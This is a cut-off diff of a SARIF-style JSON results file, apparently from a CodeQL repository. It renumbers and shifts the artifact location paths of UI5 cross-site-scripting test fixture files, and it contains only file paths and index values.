@@ -9863,7 +9863,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 261
             }
@@ -9889,7 +9889,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 262
             }
@@ -9915,7 +9915,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 263
             }
@@ -9941,7 +9941,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 264
             }
@@ -9967,7 +9967,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 265
             }
@@ -9993,7 +9993,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 266
             }
@@ -10019,7 +10019,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 267
             }
@@ -10045,7 +10045,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 268
             }
@@ -10071,7 +10071,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 269
             }
@@ -10097,7 +10097,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 270
             }
@@ -10123,7 +10123,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 271
             }
@@ -10149,7 +10149,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 272
             }
@@ -10175,7 +10175,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 273
             }
@@ -10201,7 +10201,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 274
             }
@@ -10227,7 +10227,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 275
             }
@@ -10253,7 +10253,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 276
             }
@@ -10279,7 +10279,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 277
             }
@@ -10305,7 +10305,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 278
             }
@@ -10331,7 +10331,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 279
             }
@@ -10357,7 +10357,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 280
             }
@@ -10383,7 +10383,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 281
             }
@@ -10409,7 +10409,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 282
             }
@@ -10435,7 +10435,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 283
             }
@@ -10461,7 +10461,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 284
             }
@@ -10487,7 +10487,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 285
             }
@@ -10513,7 +10513,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 286
             }
@@ -10539,7 +10539,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 287
             }
@@ -10565,7 +10565,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 288
             }
@@ -10591,7 +10591,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 289
             }
@@ -10617,7 +10617,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 290
             }
@@ -10643,7 +10643,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 291
             }
@@ -10669,7 +10669,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 292
             }
@@ -10695,7 +10695,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 293
             }
@@ -10721,7 +10721,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 294
             }
@@ -10747,7 +10747,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 295
             }
@@ -10773,7 +10773,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 296
             }
@@ -10799,7 +10799,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 297
             }
@@ -10825,7 +10825,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 298
             }
@@ -10851,7 +10851,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 299
             }
@@ -10877,7 +10877,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 300
             }
@@ -10903,7 +10903,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 301
             }
@@ -10929,7 +10929,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 302
             }
@@ -10955,7 +10955,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 303
             }
@@ -10981,7 +10981,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 304
             }
@@ -11007,7 +11007,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 305
             }
@@ -11033,7 +11033,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 306
             }
@@ -11059,7 +11059,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 307
             }
@@ -11085,7 +11085,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 308
             }
@@ -11111,7 +11111,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 309
             }
@@ -11137,7 +11137,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 310
             }
@@ -11163,7 +11163,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 311
             }
@@ -11189,7 +11189,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 312
             }
@@ -11215,7 +11215,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 313
             }
@@ -11241,7 +11241,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 314
             }
@@ -11267,7 +11267,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 315
             }
@@ -11293,7 +11293,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 316
             }
@@ -11319,7 +11319,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 317
             }
@@ -11345,7 +11345,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 318
             }
@@ -11371,7 +11371,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 319
             }
@@ -11397,7 +11397,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 320
             }
@@ -11423,7 +11423,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 321
             }
@@ -11449,7 +11449,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 322
             }
@@ -11475,7 +11475,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 323
             }
@@ -11501,7 +11501,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 324
             }
@@ -11527,7 +11527,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 325
             }
@@ -11553,7 +11553,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 326
             }
@@ -11579,7 +11579,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 327
             }
@@ -11605,7 +11605,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 328
             }
@@ -11631,7 +11631,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 329
             }
@@ -11657,7 +11657,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 330
             }
@@ -11683,7 +11683,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 331
             }
@@ -11709,7 +11709,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 332
             }
@@ -11735,7 +11735,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 333
             }
@@ -11761,7 +11761,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 334
             }
@@ -11787,7 +11787,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 335
             }
@@ -11813,9 +11813,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 3
+              "index" : 336
             }
           }
         } ],
@@ -11839,9 +11839,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 336
+              "index" : 337
             }
           }
         } ],
@@ -11865,9 +11865,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/heuristic-models/tests/qlpack.yml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 337
+              "index" : 338
             }
           }
         } ],
@@ -11891,9 +11891,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "qlt.conf.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 338
+              "index" : 339
             }
           }
         } ],
@@ -11917,9 +11917,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "scripts/codeql-pack.lock.yml",
